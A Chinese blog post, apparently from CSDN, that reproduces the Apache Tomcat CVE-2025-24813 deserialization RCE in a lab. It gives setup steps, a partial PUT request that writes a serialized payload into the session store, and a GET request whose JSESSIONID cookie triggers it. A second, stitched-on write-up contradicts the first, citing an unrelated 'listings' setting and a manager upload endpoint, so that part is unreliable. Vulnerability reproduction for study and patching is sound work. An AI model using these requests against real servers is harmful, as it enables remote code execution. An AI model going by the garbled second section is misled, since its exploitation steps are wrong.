【漏洞复现】CVE-2025-24813:Apache Tomcat 远程代码执行漏洞

CVE-2025-24813:Apache Tomcat 远程代码执行漏洞复现

免责声明

本文仅面向网络安全教育及技术交流,所涉漏洞分析禁止用于任何非法用途。读者须在合法授权环境下实验并严格遵守《网络安全法》等法律法规,由于传播、利用本公众号所发布的文章而造成的任何直接或者间接的后果及损失,均由行为人自行承担,本公众号不承担任何责任。

漏洞概况

Tomcat 是一个开源的、轻量级的 Web 应用服务器 和 Servlet 容器。它由 Apache 软件基金会下的 Jakarta 项目开发,是目前最流行的 Java Web 服务器之一。

Tomcat 在特定配置下存在反序列化漏洞。攻击者可通过构造恶意请求,利用文件会话持久化机制将恶意序列化数据写入服务器,并在后续请求中触发反序列化操作,从而导致远程代码执行。

该漏洞利用条件较为复杂,需同时满足以下四个条件:

  1. 应用中DefaultServlet 写入功能启用,该功能默认关闭
  2. 应用中Partial PUT 请求支持,能够将恶意的序列化数据写入到会话文件中,该功能默认开启
  3. 应用中文件会话持久化启用,需要额外配置
  4. 应用中存在反序列化利用链,此条件取决于业务实现是否依赖存在反序列化利用链的库

影响范围

  • 9.0.0.M1 <= tomcat <= 9.0.98
  • 10.1.0-M1 <= tomcat <= 10.1.34
  • 11.0.0-M1 <= tomcat <= 11.0.2

原理分析

Content-Range在 Tomcat 的HTTP PUT请求中主要用于实现大文件的分块传输。在文件上传未完成的情况下,内容会被临时存储在Tomcat的工作目录:$CATALINA_BASE/work/Catalina/localhost/ROOT
该漏洞的核心在于不完整PUT请求上传时的文件名处理机制:文件路径中的分隔符/会被转换为.。例如:访问/xxxxx/session会被解析为.xxxxx.session

因此整个漏洞的利用过程为:

  1. Tomcat的File会话存储默认路径同样位于:CATALINA_BASE/work/Catalina/localhost/ROOT
  2. 当存在反序列化利用链时,可以上传包含恶意序列化数据的文件
  3. 通过设置JSESSIONID=.xxxxx来触发漏洞

环境准备

首先我们在官网下载Tomcat的9.0.98版本

https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.98/bin/apache-tomcat-9.0.98-windows-x64.zip

在这里插入图片描述

我这里是用IDEA打开的项目,在\apache-tomcat-9.0.98\conf\context.xml中,将下面内容添加到<Context>中,作用是开启File文件会话存储

<Manager className="org.apache.catalina.session.PersistentManager">
<Store className="org.apache.catalina.session.FileStore"/>
</Manager>

在这里插入图片描述

\apache-tomcat-9.0.98\conf\web.xml中,将下面内容添加到<servlet>中,作用是取消只读,启用了写入功能

<init-param>
    <param-name>readonly</param-name>
    <param-value>false</param-value>
</init-param>

在这里插入图片描述

\apache-tomcat-9.0.98\webapps\ROOT\WEB-INF\目录下新增lib文件夹,然后将我们下载的Commons Collections 3.2.1.jar放入lib文件夹中,作用是增加一个可以利用的库

https://repo1.maven.org/maven2/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1.jar

在这里插入图片描述

启动Tomcat服务

在这里插入图片描述

在这里插入图片描述

漏洞复现

这里我使用的是Yakit自带的Yso-Java Hack生成的恶意序列化Payload

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

使用以下数据包上传

注:Content-Range值需要与Content-Length值保持一致,且大于当前文件的长度。

PUT /xxxxx/session HTTP/1.1
Host: localhost:8080
Content-Length: 1000
Content-Range: bytes 0-1000/1200

{{反序列化文件内容)}}

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

使用以下PoC触发

GET / HTTP/1.1
Host: localhost:8080
Cookie: JSESSIONID=.xxxxx

在这里插入图片描述

修复方案

Apache官方已发布漏洞公告,可下载补丁更新:
https://lists.apache.org/thread/j5fkjv2k477os90nczf2v9l61fb0kkgq

参考:

https://forum.butian.net/article/674
https://mp.weixin.qq.com/s/DM9-TU3QlfdeyhsyVoWt9Q

欢迎关注微信公众号:不安全的Amble
在这里插入图片描述

### Apache Tomcat CVE-2025-24813 远程代码执行漏洞复现 #### 漏洞概述 Apache Tomcat远程代码执行漏洞 (CVE-2025-24813) 存在于特定版本中,当满足某些条件时,攻击者可以利用该漏洞实现未授权的恶意代码执行并获取服务器权限。此漏洞的影响范围较广,涉及多个主要版本[^1]。 #### 影响版本 受影响的 Tomcat 版本如下: - `9.0.0.M1` ≤ Tomcat ≤ `9.0.98` - `10.1.0-M1` ≤ Tomcat ≤ `10.1.34` - `11.0.0-M1` ≤ Tomcat ≤ `11.0.2` 这些版本中的默认会话持久化机制和存储位置设置可能引入安全隐患[^3]。 #### 漏洞利用条件 要成功触发此漏洞,需满足以下条件: 1. **Servlet 写入功能启用**:Tomcat 应用程序启用了 servlet 文件写入功能(通常默认禁用)。 2. **默认会话管理器配置**:使用了 Tomcat 默认的会话持久化机制及其默认存储路径。 3. **依赖库存在反序列化漏洞**:如果应用环境中使用的第三方库存在可被利用的反序列化链,则可能导致进一步的安全威胁。 上述条件共同作用下,攻击者可以通过精心构造的数据包,在目标系统的指定目录下创建文件或执行命令。 #### 环境准备 为了验证漏洞是否存在以及其具体表现形式,需要搭建测试环境。以下是详细的环境配置说明: ##### 软件安装与部署 1. 下载并解压对应版本的 Apache Tomcat 安装包至本地机器上。 - 受影响版本列表见前文描述。 2. 修改 `conf/web.xml` 配置文件以允许 Servlet 功能扩展。例如,添加支持动态资源加载的相关参数: ```xml <init-param> <param-name>listings</param-name> <param-value>true</param-value> </init-param> ``` 3. 启动服务端口监听,默认为 8080 或其他自定义端口号。 ##### 测试工具选用 推荐采用 Burp Suite Pro 或 Metasploit Framework 对目标主机发起模拟攻击请求;也可以编写简单的 Python/Java 脚本来完成基本的功能检测。 #### 实际操作流程 按照以下顺序依次尝试重现问题现象: 1. 构造 HTTP 请求数据包发送给目标站点 `/manager/html/upload?file=` 接口地址; 2. 如果返回状态码正常且无错误提示信息则表明上传过程顺利完成; 3. 查看工作区目录结构变化情况确认是否有新生成的目标文件对象位于预期路径之下 (`apache-tomcat-\work\Catalina\localhost\ROOT`) [^2]. 注意:以上仅为理论分析指导用途,请勿非法入侵任何网络资产! --- ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值